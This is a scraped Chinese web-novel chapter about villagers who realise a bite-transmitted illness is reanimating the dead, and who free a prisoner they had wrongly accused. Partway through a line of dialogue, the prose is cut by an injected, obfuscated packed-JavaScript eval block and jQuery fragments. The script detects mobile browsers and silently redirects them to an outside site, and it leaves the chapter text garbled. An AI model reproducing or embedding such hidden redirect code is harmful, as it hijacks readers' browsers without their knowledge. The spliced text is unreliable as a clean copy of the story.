默认冷灰
24号文字
方正启体

23. 还你自由

作者:笔灾本书字数:K更新时间:
    传福毕竟拥有第一手情报,可信度很高,并非无稽之谈。


    在这些具有极高含金量的话语面前,他们突然醒悟过来,深知很多事情会彻底翻案。


    新余的心脏不自觉地缩紧了,将这些话告诉他人,引导更多的人站在他们这边,说服村长相信这些,他就能脱掉这一身囚服了。


    “你们说说吧,”传福抬起头对着二人点了点,补充道:“你们这两天的经历。”


    山娃儿抖了抖手,示意二人把注意力集中到他身上。他将启盛怎么被咬、夜晚发作的症状,未经添加,如实告知。他说得又快又急,但说得很细,生怕遗漏了任何一个细节。


    听完山娃儿说的话,传福眼神里充满了惊讶和疑惑,在启盛和石头身上有太多相似之处,病症几乎重叠在了一起。


    谈话没被打断,也没有中断,等山娃儿一口气说完之后,新余就续了上去,他用平淡之中带着点不安的语气将早上的遭遇复述了一遍。


    传福长长地吐了一口气,事已至此,他不打算继续隐瞒妻子的死亡原因,这个死法太过离奇,但在山娃儿和新余说完他们了解到的事实之后,说出来并不会不可信。


    “红梅是被石头咬死的,”传福轻轻呼了一口气,一想到妻子的这个死法,还是让他难以接受,“当我听说启盛也咬了团子一口时,我就隐约猜到这是他们攻击人的方式。”


    “难以置信,”震撼之余,新余发出一声感慨,“不管是红梅还是铁栓,他们身上都有这种攻击倾向。”


    “你们是说,他们几个人可能患了一样的病吗?”


    “或许吧!”传福没有足够的把握去肯定。


    “既然如此,”山娃儿搔了搔头皮,“村里第一个人犯病的人是石头。”


    传福低声道:“也许是,但这边在外头由来已久了。”


    “这怪病来得莫名其妙啊,”新余垂下眼帘,像个真正的罪犯那样消极,“据我推断,铁栓患病的时间更早,他离开村子好长时间了。”


    “这种病莫不是通过咬人的方式来进行传染的?”这场谈话,山娃儿很多时候丈二和尚摸不著头脑,但关键时候却指明了应当予以重视的一点。


    “铁栓怎么被感染,追不追究没多大用处,他不是在村里染病的,”新余慢慢地说,“要想确定这病的来处,只能从石头那儿抓起,这点想必你们两个都认同吧!”


    柴房里一片寂静,只有新余的声音在回荡。


    传福的眉头越皱越紧,脸色也变得越来越凝重。


    想要探究出个结果来,彼此间就不能有所保留,这是一开始传福就信奉并宣扬的道理,他痛苦地说:“那我再说一件事,事情发生在数天前,苦于家里存粮不够,担心早晚会饿肚子,我们一家到野外去,分头寻找吃食……”


    山娃儿点点头,表示他能理解这种恐惧,谁都不想饿肚子。


    本来好好的,石头突然跑到传福身前,眼睛哭得肿肿的,说是被野人给咬了,脱了血淋淋的裤子给他看。


    在石头肚腹那儿,真的有一排人类的牙印,咬了好大一块肉,血流不止,传福很纳闷,这都什么年代了还有野人,但是他又不得不信,不然什么人会平白无故把人咬伤。


    太阳晒得脑袋发热,石头找东西找累了,又饿又困又渴,他想偷懒,找了个阴凉处躺着休息,睡得好好的,腹部传来一阵剧痛。


    一睁眼,把石头给吓坏了,一个胡子拉碴的野人在咬他的肚子,情急之下顾不得许多,他顺手捡了块石头砸那野人的脑袋,连续砸了好几下,砸得挺重的,才侥幸跑了出来,他担心那野人还在后面追着他。


    不管是不是野人,总之有东西攻击了一个孩子,肯定不是什么好家伙,不知道他会不会再次进攻。


    什么东西也没有命重要,石头肚子上的伤口迫切需要止血,血流得又多,伤口又痛,小孩子脸上都快没有血色了。


    千万别为了找食物丧命,传福抱着愈发的虚弱的石头,用喊声将一家人集合在一起,他们着急忙慌地沿着原路返回,赶紧撤离野外。


    回到家,石头就发病了,肚子上的伤口止住了血,但他的意识一会儿清醒一会儿糊涂的,像是消毒不及时,导致伤口发炎肿胀了,感染又造成持续的高烧。


    受惊吓过度,也会让人生病,生理上的疼痛和心理上的折磨,彻底摧残了石头的生命。


    石头一病不起,一点儿生命力都没有,像一个奄奄一息的老人。


    对外,传福没说过被野人咬伤的事情。首先别人会觉得野人咬人一事是危言耸听,谁都没见过野人,野人可能是孩子想象出来的;其次是伤口在愈合在恢复没有流血了,家人没太在意,总认为这样严重的病症不可能是一个正在痊愈的伤口造成的;请来的郎中的大夫忙得焦头烂额,也诊断不出这是什么病,分别下了不同的病书,掀开衣服给他们看是否腹部的伤口,他们的看法却没有了分歧,完全一致,说这病与此无关,伤口敷了发炎药,一天一换,没有发炎感染。


    “看来我们离真相八九不离十了,”新余又兴奋又惆怅地说,“患了这病的人咬了另外一个人,那个人就会患上同样的病。”


    “不知道启盛是被什么给咬了。”山娃儿自言自语地说了这么一句。


    “石头和启盛,我把他们两个划成一组,红梅和铁栓,我把他们两个划成另外一组,”传福看向二人,“你们觉得他们有何不同吗?”


    “石头和启盛看着更像活人,”新余做出自己的判断,“红梅和铁栓看着更像死人。”


    “或者说,石头和启盛虽然感染了,可还没到最后一步,如果这期间没有得到有效的治疗,还会继续恶化下去?”


    传福试着说出自己的想法,“红梅死了,感染得比较彻底,铁栓的两条手臂可能是生前就断了,没有人给他止血,他就血流而亡了,他们两个是死人复活。”


    似是想到了什么,山娃儿瞪大了眼睛,眼神里充满了震惊,他看着两人,激动地说道:“红梅死了,可是红梅又活了过来,这病能让人起死回生吗?”


    “你认为这病能让人长生不老吗?”尽管事实摆在眼前,对这个说法新余还是不敢苟同,“人死了就是死了,死去的人重新站起来,也不代表他又作为一个人活了过来。”


    “对的,能给人带来这么大好处的能叫做一种病吗?”传福认同新余的说法,他给出了自己的见解。


    “这病会把活生生的人折磨得面目全非,我们坚决不能将其视作一种好东西,尽管尸体重新在我们眼前站了起来,看上去就像人死而复生,我们也不能接纳他们是人类当中的一份子,不管他们是我们的亲人、我们的伙伴还是我们的敌人,永远永远不能把我们和他们归为一类人。”


    “我同意,”山娃儿向虚空中挥了一拳,在想象中击败了一个敌人,“他们身体和意识都发生了病变,高烧不退,胡言乱语,他们失去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301149|198633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了理智,在他们彻底病变之后,我们就应该消灭他们,除非有什么解药把他们变回正常人。”


    “凡事不能下定论太早,还有很多细节需要我们去弄清楚,我相信何郎中会为我们解答的。”传福拍了拍山娃儿的肩膀,来回踱了几步,鞋跟敲打在地板上,显得格外沉重。


    新余沉默了许久,看向木窗外头灼热的日头,这才缓缓开口,声音里带着一丝不易察觉的恐惧:“看来事情远比我们想象得要严重,邪祟出来祸害苍生了。”


    传福的想法是,在他们从镇上回来之前,先静观其变,父老乡亲们该怎么过子照旧怎么过日子,这事先搁置下来,暂时不能让其他人知道,免得引起更大的恐慌。


    等到他们从镇上回来,就得尽快把这件事告诉村长,无论如何先要让他信服,让他知道这件事的严重性。


    让村长看清了局势,接下来的事情,诸如借助村长的威信让大家明白目前是个什么状况,让大家团结一心共同御敌一事就水到渠成了。


    “村长活了那么大岁数,尽管没有见过这种奇事,但召开会议还是很有经验的,到时候我们就让村长召集村里的长辈们过来商量,看看该怎么处理这件事。”


    启盛和团子那边,只能让桂英先好好照顾着,他们临走前,也跟桂英说了,最重要的事情是要确保自己的安危,谁也不知道他们父子两个最终会变成什么样。


    “新余,放心吧,”传福拍了拍他的肩膀,“你一定会没事的。”


    “我们一回来,向大家伙解释清楚,”山娃儿中气十足地说,“你就会被释放的。”


    “这都是命吧!”传福没来由地感叹了一句,他想到如果不是上回请教了何郎中几句,这些事情他领悟得就没那么快。


    “上回你把江湖郎中请来村子,我和他也见了一面,我请教了他几个问题,他对我讲了些活尸的事情,”新余面部表情严肃,像阐述一个事实那样阐述着,“看得出来,他性子孤傲,如果你们就这样空手而去,恐怕也会空手而归。”


    “你是想让我们送点礼吗”山娃儿若有所思地想道,“礼多人不怪,是有这么个说法。”


    “谁还不是刀尖舔血的人,”传福也料想不到,这种时候他还有心情朝着新余挤眉弄眼,“我会让他吃不了兜着走的。”


    “如果你们两家拿不出东西来,就和他说我有东西给他,请他到村子里走一趟,”知道传福是在开玩笑,新余和善地说,“对,就让他来村子走一遭吧,村子里有很多老顽固,他说话比我们有信服力,能避免不少口舌之争。”


    “你就放心吧!”山娃儿把胸膛拍得贼响亮。


    正要走出柴房,传福一个转身,灵活得像在树枝之间荡秋千的猴子,手从腰间拔出一把短柄刀,绕到新余的身后,一个矮身,对准绳索就是一切。


    绳子被松开了,新余将手举在身前活动活动,手都发僵了。


    这把短柄刀是新余特地带在身上的,去了镇上一趟之后他就刀不离身,刀的好处挺多,既可以威胁人为自己办事,又能在自卫时派上许多用场。


    “这是……”新余不解地望着传福的脸庞。


    传福起身,一边倒着走,顺便扯一下裤腰带,一边将短柄刀重新插回远处,脸上露出一个灿烂的笑容。


    “阿弥陀佛,”传福掌心相对,合掌一击,“你可不出意外能,还有人来打你你就揍回去,后头还有很多事情需要你的协助。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)